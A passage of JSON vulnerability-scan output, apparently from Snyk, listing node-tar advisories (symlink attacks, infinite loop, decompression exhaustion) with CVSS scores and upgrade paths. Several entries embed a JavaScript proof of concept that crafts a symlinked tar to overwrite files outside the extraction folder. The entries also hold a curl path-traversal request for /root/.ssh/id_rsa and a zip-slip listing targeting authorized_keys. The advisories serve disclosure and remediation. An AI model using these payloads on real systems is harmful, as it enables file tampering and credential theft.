"<7.5.11" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/commit/f48b5fa3b7985ddab96dc0f2125a4ffc9911b6ad", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 6.2, "modificationTime": "2026-03-11T05:27:18.357410Z" }, { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 5.5, "modificationTime": "2026-03-19T01:25:11.350764Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:H/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-10-07T02:01:07.157453Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.1, "cvssVersion": "3.1", "modificationTime": "2026-10-07T02:01:07.157453Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.2, "cvssVersion": "3.1", "modificationTime": "2026-03-11T05:27:18.357410Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 5.5, "cvssVersion": "3.1", "modificationTime": "2026-03-19T01:25:11.350764Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Symlink Attack via `tar.x()` extraction, which allows an attacker to overwrite arbitrary files outside the intended extraction directory with a drive-relative symlink target - like `C:../../../target.txt`.\n## PoC\n```js\r\n\r\nconst fs = require('fs')\r\nconst path = require('path')\r\nconst { Header, x } = require('tar')\r\n\r\nconst cwd = process.cwd()\r\nconst target = path.resolve(cwd, '..', 'target.txt')\r\nconst tarFile = path.join(cwd, 'poc.tar')\r\n\r\nfs.writeFileSync(target, 'ORIGINAL\\n')\r\n\r\nconst b = Buffer.alloc(1536)\r\nnew Header({\r\n path: 'a/b/l',\r\n type: 'SymbolicLink',\r\n linkpath: 'C:../../../target.txt',\r\n}).encode(b, 0)\r\nfs.writeFileSync(tarFile, b)\r\n\r\nx({ cwd, file: tarFile }).then(() => {\r\n fs.writeFileSync(path.join(cwd, 'a/b/l'), 'PWNED\\n')\r\n process.stdout.write(fs.readFileSync(target, 'utf8'))\r\n})\r\n```\n\n## Details\n\nA Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with \"dot-dot-slash (../)\" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.\n\nDirectory Traversal vulnerabilities can be generally divided into two types:\n\n- **Information Disclosure**: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.\n\n`st` is a module for serving static files on web pages, and contains a [vulnerability of this type](https://snyk.io/vuln/npm:st:20140206). In our example, we will serve files from the `public` route.\n\nIf an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.\n\n```\ncurl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa\n```\n**Note** `%2e` is the URL encoded version of `.` (dot).\n\n- **Writing arbitrary files**: Allows the attacker to create or replace existing files. This type of vulnerability is also known as `Zip-Slip`. \n\nOne way to achieve this is by using a malicious `zip` archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.\n\nThe following is an example of a `zip` archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in `/root/.ssh/` overwriting the `authorized_keys` file:\n\n```\n2018-04-15 22:04:29 ..... 19 19 good.txt\n2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys\n```\n\n## Remediation\nUpgrade `tar` to version 7.5.11 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/f48b5fa3b7985ddab96dc0f2125a4ffc9911b6ad)\n", "epssDetails": { "percentile": "0.07903", "probability": "0.00190", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-31802" ], "CWE": [ "CWE-59" ], "GHSA": [ "GHSA-9ppj-qmqm-q256" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-03-11T08:15:39.386368Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-10T23:44:58Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-11T08:15:39.582545Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-07T02:01:07.157453Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-17909068", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Jvr2022 Jvr" ], "semver": { "vulnerable": [ "<7.5.18" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.18" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-8x88-c5mf-7j5w", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/9e78bf058b2c22dd4d52e00d8922d5c06fc2f7b5", "title": "GitHub Commit" }, { "url": "https://github.com/isaacs/node-tar/releases/tag/v7.5.18", "title": "GitHub Release" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-10T07:07:59.641185Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-10T17:47:44.176563Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-10T17:47:44.176563Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-10T07:07:59.641185Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Infinite loop via the `replace` method. An attacker can cause the archive scanner to enter an infinite loop by providing a tar header with a negative base-256 encoded entry size.\n## Remediation\nUpgrade `tar` to version 7.5.18 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-8x88-c5mf-7j5w)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/9e78bf058b2c22dd4d52e00d8922d5c06fc2f7b5)\n- [GitHub Release](https://github.com/isaacs/node-tar/releases/tag/v7.5.18)\n", "epssDetails": { "percentile": "0.35748", "probability": "0.00434", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-59874" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-8x88-c5mf-7j5w" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-07-09T14:15:52.146477Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-08T18:45:46Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-09T14:15:52.339195Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-10T17:47:44.176563Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-17909152", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Jvr2022 Jvr" ], "semver": { "vulnerable": [ "<7.5.19" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.19" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-23hp-3jrh-7fpw", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/2812e9338665659b183aa7226518c307044957d3", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-10T07:08:05.862995Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-10T17:47:44.170068Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-10T17:47:44.170068Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-10T07:08:05.862995Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling due to the lack of enforced upper bounds on total decompressed data, entry counts, or decompression ratio in extraction and parsing paths such as `src/extract.ts`. An attacker can exhaust disk space and CPU resources by submitting a small crafted gzip archive with a high decompression ratio.\n## Remediation\nUpgrade `tar` to version 7.5.19 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-23hp-3jrh-7fpw)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/2812e9338665659b183aa7226518c307044957d3)\n", "epssDetails": { "percentile": "0.46183", "probability": "0.00582", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-59873" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-23hp-3jrh-7fpw" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-07-09T14:19:53.639547Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-08T18:47:03Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-09T14:19:53.812274Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-10T17:47:44.170068Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-15416075", "title": "Symlink Attack", "CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "credit": [ "Jvr2022" ], "semver": { "vulnerable": [ "<7.5.10" ] }, "exploit": "Not Defined", "fixedIn": [ "7.5.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-qffp-2rhf-9h96", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/7bc755dd85e623c0279e08eb3784909e6d7e4b9f", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N", "cvssV3BaseScore": 8.6, "modificationTime": "2026-03-10T05:27:35.213816Z" }, { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "cvssV3BaseScore": 6.3, "modificationTime": "2026-03-12T01:19:49.557036Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:L/SC:N/SI:H/SA:L/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-10-05T02:01:10.209067Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "assigner": "Snyk", "severity": "medium", "baseScore": 6.3, "cvssVersion": "3.1", "modificationTime": "2026-10-05T02:01:10.209067Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "high", "baseScore": 8.6, "cvssVersion": "3.1", "modificationTime": "2026-03-10T05:27:35.213816Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 6.3, "cvssVersion": "3.1", "modificationTime": "2026-03-12T01:19:49.557036Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Symlink Attack exploitable via `stripAbsolutePath()`, used by the `Unpack` class. An attacker can overwrite arbitrary files outside the intended extraction directory by including a hardlink whose `linkpath` uses a drive-relative path such as `C:../target.txt` in a malicious tar.\n\n## Details\n\nA Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with \"dot-dot-slash (../)\" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.\n\nDirectory Traversal vulnerabilities can be generally divided into two types:\n\n- **Information Disclosure**: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.\n\n`st` is a module for serving static files on web pages, and contains a [vulnerability of this type](https://snyk.io/vuln/npm:st:20140206). In our example, we will serve files from the `public` route.\n\nIf an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.\n\n```\ncurl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa\n```\n**Note** `%2e` is the URL encoded version of `.` (dot).\n\n- **Writing arbitrary files**: Allows the attacker to create or replace existing files. This type of vulnerability is also known as `Zip-Slip`. \n\nOne way to achieve this is by using a malicious `zip` archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.\n\nThe following is an example of a `zip` archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in `/root/.ssh/` overwriting the `authorized_keys` file:\n\n```\n2018-04-15 22:04:29 ..... 19 19 good.txt\n2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys\n```\n\n## Remediation\nUpgrade `tar` to version 7.5.10 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-qffp-2rhf-9h96)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/7bc755dd85e623c0279e08eb3784909e6d7e4b9f)\n", "epssDetails": { "percentile": "0.32025", "probability": "0.00401", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-29786" ], "CWE": [ "CWE-22", "CWE-59" ], "GHSA": [ "GHSA-qffp-2rhf-9h96" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-03-05T07:19:20.751739Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-05T00:52:32Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-05T07:19:21.124544Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-05T02:01:10.209067Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-15456201", "title": "Symlink Attack", "CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N/E:P", "credit": [ "Jvr2022" ], "semver": { "vulnerable": [ "<7.5.11" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/commit/f48b5fa3b7985ddab96dc0f2125a4ffc9911b6ad", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 6.2, "modificationTime": "2026-03-11T05:27:18.357410Z" }, { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 5.5, "modificationTime": "2026-03-19T01:25:11.350764Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:H/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-10-07T02:01:07.157453Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.1, "cvssVersion": "3.1", "modificationTime": "2026-10-07T02:01:07.157453Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.2, "cvssVersion": "3.1", "modificationTime": "2026-03-11T05:27:18.357410Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 5.5, "cvssVersion": "3.1", "modificationTime": "2026-03-19T01:25:11.350764Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Symlink Attack via `tar.x()` extraction, which allows an attacker to overwrite arbitrary files outside the intended extraction directory with a drive-relative symlink target - like `C:../../../target.txt`.\n## PoC\n```js\r\n\r\nconst fs = require('fs')\r\nconst path = require('path')\r\nconst { Header, x } = require('tar')\r\n\r\nconst cwd = process.cwd()\r\nconst target = path.resolve(cwd, '..', 'target.txt')\r\nconst tarFile = path.join(cwd, 'poc.tar')\r\n\r\nfs.writeFileSync(target, 'ORIGINAL\\n')\r\n\r\nconst b = Buffer.alloc(1536)\r\nnew Header({\r\n path: 'a/b/l',\r\n type: 'SymbolicLink',\r\n linkpath: 'C:../../../target.txt',\r\n}).encode(b, 0)\r\nfs.writeFileSync(tarFile, b)\r\n\r\nx({ cwd, file: tarFile }).then(() => {\r\n fs.writeFileSync(path.join(cwd, 'a/b/l'), 'PWNED\\n')\r\n process.stdout.write(fs.readFileSync(target, 'utf8'))\r\n})\r\n```\n\n## Details\n\nA Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with \"dot-dot-slash (../)\" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.\n\nDirectory Traversal vulnerabilities can be generally divided into two types:\n\n- **Information Disclosure**: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.\n\n`st` is a module for serving static files on web pages, and contains a [vulnerability of this type](https://snyk.io/vuln/npm:st:20140206). In our example, we will serve files from the `public` route.\n\nIf an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.\n\n```\ncurl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa\n```\n**Note** `%2e` is the URL encoded version of `.` (dot).\n\n- **Writing arbitrary files**: Allows the attacker to create or replace existing files. This type of vulnerability is also known as `Zip-Slip`. \n\nOne way to achieve this is by using a malicious `zip` archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.\n\nThe following is an example of a `zip` archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in `/root/.ssh/` overwriting the `authorized_keys` file:\n\n```\n2018-04-15 22:04:29 ..... 19 19 good.txt\n2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys\n```\n\n## Remediation\nUpgrade `tar` to version 7.5.11 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/f48b5fa3b7985ddab96dc0f2125a4ffc9911b6ad)\n", "epssDetails": { "percentile": "0.07903", "probability": "0.00190", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-31802" ], "CWE": [ "CWE-59" ], "GHSA": [ "GHSA-9ppj-qmqm-q256" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-03-11T08:15:39.386368Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-10T23:44:58Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-11T08:15:39.582545Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-07T02:01:07.157453Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-17909068", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Jvr2022 Jvr" ], "semver": { "vulnerable": [ "<7.5.18" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.18" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-8x88-c5mf-7j5w", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/9e78bf058b2c22dd4d52e00d8922d5c06fc2f7b5", "title": "GitHub Commit" }, { "url": "https://github.com/isaacs/node-tar/releases/tag/v7.5.18", "title": "GitHub Release" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-10T07:07:59.641185Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-10T17:47:44.176563Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-10T17:47:44.176563Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-10T07:07:59.641185Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Infinite loop via the `replace` method. An attacker can cause the archive scanner to enter an infinite loop by providing a tar header with a negative base-256 encoded entry size.\n## Remediation\nUpgrade `tar` to version 7.5.18 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-8x88-c5mf-7j5w)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/9e78bf058b2c22dd4d52e00d8922d5c06fc2f7b5)\n- [GitHub Release](https://github.com/isaacs/node-tar/releases/tag/v7.5.18)\n", "epssDetails": { "percentile": "0.35748", "probability": "0.00434", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-59874" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-8x88-c5mf-7j5w" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-07-09T14:15:52.146477Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-08T18:45:46Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-09T14:15:52.339195Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-10T17:47:44.176563Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-17909152", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Jvr2022 Jvr" ], "semver": { "vulnerable": [ "<7.5.19" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.19" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": 